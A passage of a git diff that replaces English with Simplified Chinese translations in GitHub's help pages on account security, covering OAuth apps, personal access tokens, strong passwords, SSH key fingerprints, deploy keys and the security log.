 
-- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)"
+- "[连接问题故障排除](/articles/troubleshooting-connectivity-problems)"
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
index e70e25bdd2..3666f89c50 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting with third-party applications
-intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.'
+title: 连接第三方应用程序
+intro: '您可以将 {% data variables.product.product_name %} 身份连接到使用 OAuth 的第三方应用程序。 在授权这些应用程序时，应确保您信任应用程序，查阅开发者是谁，并查阅应用程序要访问的信息类型。'
 redirect_from:
   - /articles/connecting-with-third-party-applications
   - /github/authenticating-to-github/connecting-with-third-party-applications
@@ -13,65 +13,66 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Third-party applications
+shortTitle: 第三方应用程序
 ---
-When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested.
 
-## Contacting the application developer
+当第三方应用程序要通过您的 {% data variables.product.product_name %} 登录识别您时，您会看到一个页面，其中包含开发者联系信息，以及申请的特定数据列表。
 
-Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application.
+## 联系应用程序开发者
 
-![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png)
+由于应用程序是由不是 {% data variables.product.product_name %} 的第三方开发的，因此我们并不确切地了解应用程序如何使用它申请访问的数据。 如果您对这些应用程序有疑问或疑虑，您可以使用页面顶部的开发者信息联系应用程序管理员。
 
-If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website.
+![{% data variables.product.prodname_oauth_app %} 所有者信息](/assets/images/help/platform/oauth_owner_bar.png)
 
-![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png)
+页面的右侧可能提供应用程序的详细说明及其相关网站，具体取决于开发者是否选择提供这些信息。
 
-## Types of application access and data
+![OAuth 应用程序信息和网站](/assets/images/help/platform/oauth_app_info.png)
 
-Applications can have *read* or *write* access to your {% data variables.product.product_name %} data.
+## 应用程序数据访问权限的类型
 
-- **Read access** only allows an application to *look at* your data.
-- **Write access** allows an application to *change* your data.
+应用程序可能对您的 {% data variables.product.product_name %} 数据具有*读取*或*写入*权限。
 
-### About OAuth scopes
+- **读取权限**仅允许应用程序*查看*您的数据。
+- **写入权限**允许应用程序*更改*您的数据。
 
-*Scopes* are named groups of permissions that an application can request to access both public and non-public data.
+### 关于 OAuth 范围
 
-When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)."
+*范围*是应用程序可以申请访问公共及非公共数据的权限组。
+
+要使用集成了 {% data variables.product.product_name %} 的第三方应用程序时，该应用程序会让您了解需要的数据访问权限类型。 如果您授予应用程序访问权限，则应用程序将能代您执行操作，例如读取或修改数据。 例如，如果您要使用申请 `user:email` 范围的应用程序，则该应用程序对您的私有电子邮件地址具有只读权限。 更多信息请参阅“[关于 {% data variables.product.prodname_oauth_apps %} 的范围](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)”。
 
 {% tip %}
 
-**Note:** Currently, you can't scope source code access to read-only.
+**注：**目前，您无法将源代码访问范围设为只读。
 
 {% endtip %}
 
-### Types of requested data
+### 申请的数据类型
 
-There are several types of data that applications can request.
+以下是应用程序可能申请的几种数据类型。
 
-![OAuth access details](/assets/images/help/platform/oauth_access_types.png)
+![OAuth 访问权限详细信息](/assets/images/help/platform/oauth_access_types.png)
 
 {% tip %}
 
-**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %}
+**提示：**{% data reusables.user_settings.review_oauth_tokens_tip %}
 
 {% endtip %}
 
-| Type of data | Description |
-| --- | --- |
-| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they <em>can</em> read and write status information against a specific commit. |
-| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. |
-| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. |
-| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. |
-| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. |
-| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. |
-| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. |
-| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." |
-| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. |
+| 数据类型   | 描述                                                                                                                                                                                                                                      |
+| ------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 提交状态   | 您可以授权第三方应用程序报告您的提交状态。 提交状态访问权限允许应用程序确定对特定提交的构建是否成功。 应用程序无法访问您的代码，但<em>能够</em>读取和写入特定提交的状态信息。                                                                                                                              |
+| 部署     | 部署状态访问权限允许应用程序根据仓库的特定提交确定部署是否成功。 应用程序无法访问您的代码。                                                                                                                                                                                          |
+| Gist   | [Gist](https://gist.github.com) 访问权限允许应用程序读取或写入{% ifversion not ghae %}公共和{% else %}内部和{% endif %}机密 Gist。                                                                                                                              |
+| 挂钩     | [Web 挂钩](/webhooks)访问权限允许应用程序读取或写入您管理的仓库中的挂钩配置。                                                                                                                                                                                         |
+| 通知     | 通知访问权限允许应用程序读取您的 {% data variables.product.product_name %} 通知，如议题和拉取请求的评论。 但应用程序仍然无法访问仓库中的任何内容。                                                                                                                                         |
+| 组织和团队  | 组织和团队访问权限允许应用程序访问并管理组织和团队成员资格。                                                                                                                                                                                                          |
+| 个人用户数据 | 用户数据包括您的用户个人资料中的信息，例如您的姓名、电子邮件地址和地点。                                                                                                                                                                                                    |
+| 仓库     | 仓库信息包括贡献者的姓名、您创建的分支以及仓库中的实际文件。 An application can request access to all of your repositories of any visibility level. 更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。 |
+| 仓库删除   | 应用程序可以申请删除您管理的仓库，但无法访问您的代码。                                                                                                                                                                                                             |
 
-## Requesting updated permissions
+## 申请更新的权限
 
-Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences.
+应用程序可以申请新的访问权限。 要求更新权限时，应用程序会通知您更新前后的差异。
 
-![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png)
+![更改第三方应用程序访问权限](/assets/images/help/platform/oauth_existing_access_pane.png)
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
index da65603203..4d6923a4ef 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a personal access token
-intro: You should create a personal access token to use in place of a password with the command line or with the API.
+title: 创建个人访问令牌
+intro: 您应该通过命令行或 API 创建个人访问令牌来代替密码。
 redirect_from:
   - /articles/creating-an-oauth-token-for-command-line-use
   - /articles/creating-an-access-token-for-command-line-use
@@ -16,68 +16,65 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Create a PAT
+shortTitle: 创建 PAT
 ---
 
 {% note %}
 
-**Note:** If you use {% data variables.product.prodname_cli %} to authenticate to {% data variables.product.product_name %} on the command line, you can skip generating a personal access token and authenticate via the web browser instead. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+**注意：** 如果您在命令行上使用 {% data variables.product.prodname_cli %} 向 {% data variables.product.product_name %} 验证，您可以跳过生成个人访问令牌，并通过网页浏览器进行身份验证。 For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
 
 {% endnote %}
 
-Personal access tokens (PATs) are an alternative to using passwords for authentication to {% data variables.product.product_name %} when using the [GitHub API](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) or the [command line](#using-a-token-on-the-command-line).
+在使用[GitHub API 或](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens)命令[行](#using-a-token-on-the-command-line)时，可使用个人访问令牌 (PAT) 代替密码向 {% data variables.product.product_name %} 进行身份验证。
 
-{% ifversion fpt or ghec %}If you want to use a PAT to access resources owned by an organization that uses SAML SSO, you must authorize the PAT. For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+{% ifversion fpt or ghec %}如果要使用 PAT 访问使用 SAML SSO 的组织所拥有的资源，则必须授权 PAT。 For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.removes-personal-access-tokens %}{% endif %}
 
-A token with no assigned scopes can only access public information. To use your token to access repositories from the command line, select `repo`. For more information, see "[Available scopes](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)".
+没有指定范围的令牌只能访问公共信息。 要使用令牌从命令行访问仓库，请选择 `repo（仓库）`。 For more information, see "[Available scopes](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)".
 
-## Creating a token
+## 创建令牌
 
-{% ifversion fpt or ghec %}1. [Verify your email address](/github/getting-started-with-github/verifying-your-email-address), if it hasn't been verified yet.{% endif %}
+{% ifversion fpt or ghec %}1. [验证您的电子邮件地址](/github/getting-started-with-github/verifying-your-email-address)（如果尚未验证）。{% endif %}
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.developer_settings %}
 {% data reusables.user_settings.personal_access_tokens %}
 {% data reusables.user_settings.generate_new_token %}
-5. Give your token a descriptive name.
-   ![Token description field](/assets/images/help/settings/token_description.png){% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
-6. To give your token an expiration, select the **Expiration** drop-down menu, then click a default or use the calendar picker.
-   ![Token expiration field](/assets/images/help/settings/token_expiration.png){% endif %}
-7. Select the scopes, or permissions, you'd like to grant this token. To use your token to access repositories from the command line, select **repo**.
+5. 给令牌一个描述性名称。 ![Token description field](/assets/images/help/settings/token_description.png){% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
+6. 要使令牌过期，请选择 **Expiration（到期）**下拉菜单，然后单击默认值或使用日历选择器。 ![Token expiration field](/assets/images/help/settings/token_expiration.png){% endif %}
+7. 选择要授予此令牌的作用域或权限。 要使用令牌从命令行访问仓库，请选择 **repo（仓库）**。
    {% ifversion fpt or ghes or ghec %}
-   ![Selecting token scopes](/assets/images/help/settings/token_scopes.gif)
+   ![选择令牌作用域](/assets/images/help/settings/token_scopes.gif)
    {% elsif ghae %}
-   ![Selecting token scopes](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png)
+   ![选择令牌作用域](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png)
    {% endif %}
-8. Click **Generate token**.
-   ![Generate token button](/assets/images/help/settings/generate_token.png)
+8. 单击 **Generate token（生成令牌）**。 ![生成令牌按钮](/assets/images/help/settings/generate_token.png)
    {% ifversion fpt or ghec %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens.png)
+   ![新建的令牌](/assets/images/help/settings/personal_access_tokens.png)
    {% elsif ghes > 3.1 or ghae %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe.png)
+   ![新建的令牌](/assets/images/help/settings/personal_access_tokens_ghe.png)
    {% else %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png)
+   ![新建的令牌](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png)
    {% endif %}
    {% warning %}
 
-   **Warning:** Treat your tokens like passwords and keep them secret. When working with the API, use tokens as environment variables instead of hardcoding them into your programs. 
+   **警告：** 像对待密码一样对待您的令牌，确保其机密性。 使用 API 时，应将令牌用作环境变量，而不是将其硬编码到程序中。
 
    {% endwarning %}
 
 {% ifversion fpt or ghec %}9. To use your token to authenticate to an organization that uses SAML single sign-on, authorize the token. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
 
-## Using a token on the command line
+## 在命令行上使用令牌
 
 {% data reusables.command_line.providing-token-as-password %}
 
-Personal access tokens can only be used for HTTPS Git operations. If your repository uses an SSH remote URL, you will need to [switch the remote from SSH to HTTPS](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https).
+个人访问令牌只能用于 HTTPS Git 操作。 如果您的仓库使用 SSH 远程 URL，则需要[将远程 URL 从 SSH 切换到 HTTPS](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https)。
 
-If you are not prompted for your username and password, your credentials may be cached on your computer. You can [update your credentials in the Keychain](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain) to replace your old password with the token.
+如果没有提示您输入用户名和密码，说明您的凭据可能已缓存在计算机上。 您可以[在密钥链中更新您的凭据](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain)，用令牌替换您的旧密码。
 
-Instead of manually entering your PAT for every HTTPS Git operation, you can cache your PAT with a Git client. Git will temporarily store your credentials in memory until an expiry interval has passed. You can also store the token in a plain text file that Git can read before every request. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
+您可以使用 Git 客户端缓存 PAT，而不必为每个 HTTPS Git 操作手动输入 PAT。 Git 会将您的凭据临时存储在内存中，直到过期为止。 您还可以将令牌存储在 Git 可以在每个请求之前读取的纯文本文件中。 更多信息请参阅“[在 Git 中缓存 {% data variables.product.prodname_dotcom %} 凭据](/github/getting-started-with-github/caching-your-github-credentials-in-git)”。
 
-## Further reading
+## 延伸阅读
 
-- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)"{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
-- "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
+- “[关于向 GitHub 验证身份](/github/authenticating-to-github/about-authentication-to-github){% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}”
+- "[令牌到期和撤销](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
index 85eebfa495..ba6945d758 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
@@ -1,5 +1,5 @@
 ---
-title: Creating a strong password
+title: 创建强密码
 intro: 'Secure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} with a strong and unique password using a password manager.'
 redirect_from:
   - /articles/what-is-a-strong-password
@@ -13,26 +13,27 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Create a strong password
+shortTitle: 创建强密码
 ---
+
 You must choose or generate a password for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} that is at least:
-- {% ifversion ghes %}Seven{% else %}Eight{% endif %} characters long, if it includes a number and a lowercase letter, or
-- 15 characters long with any combination of characters
+- {% ifversion ghes %}七{% else %}八{% endif %}个字符且包含数字和小写字母，或
+- 至少 15 个字符，任意字符组合
 
-To keep your account secure, we recommend you follow these best practices:
-- Use a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/), to generate a password of at least 15 characters.
-- Generate a unique password for {% data variables.product.product_name %}. If you use your {% data variables.product.product_name %} password elsewhere and that service is compromised, then attackers or other malicious actors could use that information to access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+为确保您的帐户安全，我们建议您遵循以下最佳实践：
+- 使用 [LastPass](https://lastpass.com/) 或 [1Password](https://1password.com/) 等密码管理器生成至少 15 个字符的密码。
+- 为 {% data variables.product.product_name %} 生成唯一的密码。 If you use your {% data variables.product.product_name %} password elsewhere and that service is compromised, then attackers or other malicious actors could use that information to access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
 
-- Configure two-factor authentication for your personal account. For more information, see "[About two-factor authentication](/articles/about-two-factor-authentication)."
-- Never share your password, even with a potential collaborator. Each person should use their own personal account on {% data variables.product.product_name %}. For more information on ways to collaborate, see: "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)," "[About collaborative development models](/articles/about-collaborative-development-models/)," or "[Collaborating with groups in organizations](/organizations/collaborating-with-groups-in-organizations/)."
+- 为您的帐户配置双重身份验证。 更多信息请参阅“[关于双重身份验证](/articles/about-two-factor-authentication)”。
+- 不与任何人分享您的密码，即使是潜在协作者。 在 {% data variables.product.product_name %} 上每个人都应使用自己的个人帐户。 有关协作方式的更多信息，请参阅：“[邀请协作者参与个人仓库](/articles/inviting-collaborators-to-a-personal-repository)”、“[关于协作开发模式](/articles/about-collaborative-development-models/)”或“[与组织中的团体协作](/organizations/collaborating-with-groups-in-organizations/)”。
 
 {% data reusables.repositories.blocked-passwords %}
 
-You can only use your password to log on to {% data variables.product.product_name %} using your browser. When you authenticate to {% data variables.product.product_name %} with other means, such as the command line or API, you should use other credentials. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)." 
+您只能使用密码通过浏览器登录 {% data variables.product.product_name %}。 使用其他方式（例如命令行或 API）向 {% data variables.product.product_name %} 验证时，应使用其他凭据。 更多信息请参阅“[关于 {% data variables.product.prodname_dotcom %} 向验证身份](/github/authenticating-to-github/about-authentication-to-github)”。
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.password-authentication-deprecation %}{% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Caching your {% data variables.product.product_name %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
-- "[Keeping your account and data secure](/articles/keeping-your-account-and-data-secure/)"
+- “[在 Git 中缓存您的 {% data variables.product.product_name %} 凭据](/github/getting-started-with-github/caching-your-github-credentials-in-git/)”
+- “[保护帐户和数据安全](/articles/keeping-your-account-and-data-secure/)”
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
index 035d69c803..72e3f95a74 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub's SSH key fingerprints
-intro: Public key fingerprints can be used to validate a connection to a remote server.
+title: GitHub 的 SSH 密钥指纹
+intro: 公钥指纹可用于验证与远程服务器的连接。
 redirect_from:
   - /articles/what-are-github-s-ssh-key-fingerprints
   - /articles/github-s-ssh-key-fingerprints
@@ -13,9 +13,10 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: SSH key fingerprints
+shortTitle: SSH 密钥指纹
 ---
-These are {% data variables.product.prodname_dotcom %}'s public key fingerprints:
+
+以下是 {% data variables.product.prodname_dotcom %} 的公钥指纹：
 
 - `SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8` (RSA)
 - `SHA256:p2QAMXNIC1TJYWeIOttrVc98/R1BUFWu3/LiyKgUfQM` (ECDSA)
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/index.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/index.md
index 9d1b48210b..9e3789a144 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/index.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/index.md
@@ -1,5 +1,5 @@
 ---
-title: Keeping your account and data secure
+title: 保护帐户和数据安全
 intro: 'To protect your personal information, you should keep both your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and any associated data secure.'
 redirect_from:
   - /articles/keeping-your-account-and-data-secure
@@ -32,6 +32,6 @@ children:
   - /githubs-ssh-key-fingerprints
   - /sudo-mode
   - /preventing-unauthorized-access
-shortTitle: Account security
+shortTitle: 帐户安全
 ---
 
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
index b3629bba82..8602712bde 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing your deploy keys
-intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid.
+title: 审查您的部署密钥
+intro: 您应审查部署密钥，以确保没有任何未经授权（或可能已受损）的密钥。 您还可以批准有效的现有部署密钥。
 redirect_from:
   - /articles/reviewing-your-deploy-keys
   - /github/authenticating-to-github/reviewing-your-deploy-keys
@@ -13,16 +13,15 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Deploy keys
+shortTitle: 部署密钥
 ---
+
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. In the left sidebar, click **Deploy keys**.
-![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png)
-4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**.
-	![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png)
+3. 在左侧边栏中，单击 **Deploy keys（部署密钥）**。 ![部署密钥设置](/assets/images/help/settings/settings-sidebar-deploy-keys.png)
+4. 在 Deploy keys（部署密钥）页面中，记下与您的帐户关联的部署密钥。 对于您无法识别或已过期的密钥，请单击 **Delete（删除）**。 如果有您要保留的有效部署密钥，请单击 **Approve（批准）**。 ![部署密钥列表](/assets/images/help/settings/settings-deploy-key-review.png)
 
-For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)."
+更多信息请参阅“[管理部署密钥](/guides/managing-deploy-keys)”。
 
-## Further reading
-- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
+## 延伸阅读
+- [配置通知](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
index df5bf71441..4291740168 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing your security log
-intro: You can review the security log for your user account to better understand actions you've performed and actions others have performed that involve you.
+title: 审查您的安全日志
+intro: 您可以查看用户帐户的安全日志，以更好地了解您执行的操作以及其他人执行的与您有关的操作。
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/reviewing-your-security-log
@@ -14,254 +14,248 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Security log
+shortTitle: 安全日志
 ---
-## Accessing your security log
 
-The security log lists all actions performed within the last 90 days.
+## 访问安全日志
+
+安全日志列出了过去 90 天内执行的所有操作。
 
 {% data reusables.user_settings.access_settings %}
 {% ifversion fpt or ghae or ghes or ghec %}
-2. In the user settings sidebar, click **Security log**.
-  ![Security log tab](/assets/images/help/settings/audit-log-tab.png)
+2. 在用户设置侧边栏中，单击 **Security log（安全日志）**。 ![安全日志选项卡](/assets/images/help/settings/audit-log-tab.png)
 {% else %}
 {% data reusables.user_settings.security %}
-3. Under "Security history," your log is displayed.
-  ![Security log](/assets/images/help/settings/user_security_log.png)
-4. Click on an entry to see more information about the event.
-  ![Security log](/assets/images/help/settings/user_security_history_action.png)
+3. 在“Security history（安全历史记录）”下，将显示您的日志。 ![安全日志](/assets/images/help/settings/user_security_log.png)
+4. 单击条目以查看有关该事件的更多信息。 ![安全日志](/assets/images/help/settings/user_security_history_action.png)
 {% endif %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
-## Searching your security log
+## 搜索安全日志
 
 {% data reusables.audit_log.audit-log-search %}
 
-### Search based on the action performed
+### 基于执行的操作搜索
 {% else %}
-## Understanding events in your security log
+## 了解安全日志中的事件
 {% endif %}
 
-The events listed in your security log are triggered by your actions. Actions are grouped into the following categories:
+安全日志中列出的事件由您的操作触发。 操作分为以下几类：
 
-| Category name | Description
-|------------------|-------------------{% ifversion fpt or ghec %}
-| [`billing`](#billing-category-actions) | Contains all activities related to your billing information.
-| [`codespaces`](#codespaces-category-actions) | Contains all activities related to {% data variables.product.prodname_codespaces %}. For more information, see "[About {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)."
-| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement.
-| [`marketplace_listing`](#marketplace_listing-category-actions) | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}.{% endif %}
-| [`oauth_access`](#oauth_access-category-actions) | Contains all activities related to [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) you've connected with.{% ifversion fpt or ghec %}
-| [`payment_method`](#payment_method-category-actions) | Contains all activities related to paying for your {% data variables.product.prodname_dotcom %} subscription.{% endif %}
-| [`profile_picture`](#profile_picture-category-actions) | Contains all activities related to your profile picture.
-| [`project`](#project-category-actions) | Contains all activities related to project boards.
-| [`public_key`](#public_key-category-actions) | Contains all activities related to [your public SSH keys](/articles/adding-a-new-ssh-key-to-your-github-account).
-| [`repo`](#repo-category-actions) | Contains all activities related to the repositories you own.{% ifversion fpt or ghec %}
-| [`sponsors`](#sponsors-category-actions) | Contains all events related to {% data variables.product.prodname_sponsors %} and sponsor buttons (see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" and "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}{% ifversion ghes or ghae %}
-| [`team`](#team-category-actions) | Contains all activities related to teams you are a part of.{% endif %}{% ifversion not ghae %}
-| [`two_factor_authentication`](#two_factor_authentication-category-actions) | Contains all activities related to [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa).{% endif %}
-| [`user`](#user-category-actions) | Contains all activities related to your account.
+| 类别名称                                                                                   | 描述                                                                                                                                                                                                                                                                                                               |
+| -------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghec %}
+| [`计费，帐单`](#billing-category-actions)                                                   | 包含与帐单信息相关的所有活动。                                                                                                                                                                                                                                                                                                  |
+| [`codespaces`](#codespaces-category-actions)                                           | 包含与 {% data variables.product.prodname_codespaces %} 相关的所有活动。 更多信息请参阅“[关于 {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)”。                                                                                                                        |
